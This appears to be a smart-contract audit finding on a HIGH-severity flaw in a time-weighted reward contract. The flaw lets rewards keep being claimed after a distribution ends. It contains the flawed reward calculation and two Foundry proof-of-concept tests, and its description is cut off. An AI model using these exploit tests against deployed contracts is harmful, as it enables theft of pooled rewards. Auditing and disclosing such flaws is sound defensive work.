HIGH severity: Rewards distributed with `TimeWeightedIncentiveLogic` can continue to be claimed after the distribution ends. **Description:** The `TimeWeightedIncentiveLogic` rewards users proportionally to the amount of time they have deposited liquidity without modification to their position. There is an initial required ramp-up duration, during which users will receive partial rewards and after which the maximum rate.....

Vulnerable code:
function test_TimeWeightedManualUpdate() public {
    skip(1 weeks);

    logic.updateDefaultFee(0);

    IncentivizedPoolId incentivizedId = IncentivizedPoolKey({ id: pool1, lpToken: lpToken1 }).toId();

    manager.setListedPool(incentivizedId, true);

    address[] memory systems = new address[](1);
    systems[0] = address(logic);

    // The user1 has all the liquidity of the pool, hence all the rewards should go to them
    manager.notifyAddLiquidty(systems, pool1, lpToken1, user1, int256(100 ether));

    skip(1 weeks);

    // The distributor sends 1000 tokens that will be distributed during 1 week
    uint256 amount = 1000 ether;
    uint256 duration = 1 weeks;

    // claiming without automatic state update
    uint256 snapshotId = vm.snapshotState();

    (, uint256 checkPointDuration1) = logic.userCheckpoints(incentivizedId, user1);
    console.log(checkPointDuration1);

    logic.depositRewards(incentivizedId, address(token0), amount, duration);

    skip(1 weeks);
    uint256 tokensClaimed1 = logic.claim(incentivizedId, address(token0), user1, user1);
    console.log(tokensClaimed1);

    // claiming with manual state update
    require(vm.revertToState(snapshotId));

    logic.updateUserState(incentivizedId, user1);

    (, uint256 checkPointDuration2) = logic.userCheckpoints(incentivizedId, user1);
    console.log(checkPointDuration2);

    logic.depositRewards(incentivizedId, address(token0), amount, duration);

    skip(1 weeks);
    uint256 tokensClaimed2 = logic.claim(incentivizedId, address(token0), user1, user1);
    console.log(tokensClaimed2);

    assertGt(tokensClaimed2, tokensClaimed1);
}

function _earnedTimeWeigthed(IncentivizedPoolId id, address token, address account, uint256 newRewardPerToken)
        internal
        view
        returns (uint256 earnedAmount, uint256 leftover)
    {
        UserRewardData memory _userState = userRewardStates[id][account][token];
        if (_userState.lastRewardPerToken == newRewardPerToken) return (_userState.accrued, 0);

        uint256 userBalance = poolStates[id].userLiquidity[account];

        uint256 maxDuration = distributionRequiredDurations[id][token];
        uint256 maxEarned = (userBalance * (newRewardPerToken - _userState.lastRewardPerToken) / UNIT);

        RewardCheckpoint memory _checkpoint = userCheckpoints[id][account];
        if (_checkpoint.duration >= maxDuration) {
            earnedAmount = maxEarned + _userState.accrued;
            leftover = 0;
        } else {
            uint256 lastUpdateTs = userRewardStateUpdates[id][account][token];
            lastUpdateTs = lastUpdateTs > _checkpoint.timestamp ? lastUpdateTs : _checkpoint.timestamp;
@>          uint256 timeDiff = block.timestamp - lastUpdateTs;
            uint256 newDuration = _checkpoint.duration + timeDiff;
            if (newDuration >= maxDuration) newDuration = maxDuration;
            uint256 ratio;
            if (newDuration >= maxDuration) {
                uint256 remainingIncreaseDuration = maxDuration - _checkpoint.duration;
                uint256 left = ((((maxDuration - _checkpoint.duration - 1) * UNIT) / 2) / maxDuration);
                ratio =
                    ((left * remainingIncreaseDuration) + (UNIT * (timeDiff - remainingIncreaseDuration))) / timeDiff;
            } else {
                ratio = ((((newDuration - _checkpoint.duration - 1) * UNIT) / 2) / maxDuration);
            }
            earnedAmount = ((maxEarned * ratio) / UNIT) + _userState.accrued;
            leftover = maxEarned - earnedAmount;
        }
    }

function test_TimeWeightedClaimAfterEnd() public {
    skip(1 weeks);

    logic.updateDefaultFee(0);

    IncentivizedPoolId incentivizedId = IncentivizedPoolKey({ id: pool1, lpToken: lpToken1 }).toId();

    manager.setListedPool(incentivizedId, true);

    address[] memory systems = new address[](1);
    systems[0] = address(logic);

    // 1000 tokens will be distributed during 1 week
    uint256 amount = 1000 ether;
    uint256 duration = 1 weeks;

    logic.depositRewards(incentivizedId, address(token0), amount, duration);

    manager.notifyAddLiquidty(systems, pool1, lpToken1, user1, int256(100 ether));

    console.log("claiming immediately as duration ends");
    uint256 snapshotId = vm.snapshotState();

    skip(1 weeks);

    uint256 tokensEarned = logic.claim(incentivizedId, address(token0), user1, user1) / 1 ether;

    console.log(tokensEarned);

    console.log("claiming immediately as duration ends, then attempting again");
    require(vm.revertToStateAndDelete(snapshotId));
    snapshotId = vm.snapshotState();

    skip(1 weeks);

    uint256 tokensEarned1 = logic.claim(incentivizedId, address(token0), user1, user1) / 1 ether;
    skip(1 weeks);
    uint256 tokensEarned2 = logic.claim(incentivizedId, address(token0), user1, user1) / 1 ether;

    console.log(tokensEarned1);
    console.log(tokensEarned2);

    console.log("claiming some time after duration ends");
    require(vm.revertToStateAndDelete(snapshotId));
    snapshotId = vm.snapshotState();

    skip(5 weeks);

    tokensEarned = logic.claim(incentivizedId, address(token0), user1, user1) / 1 ether;

    console.log(tokensEarned);
}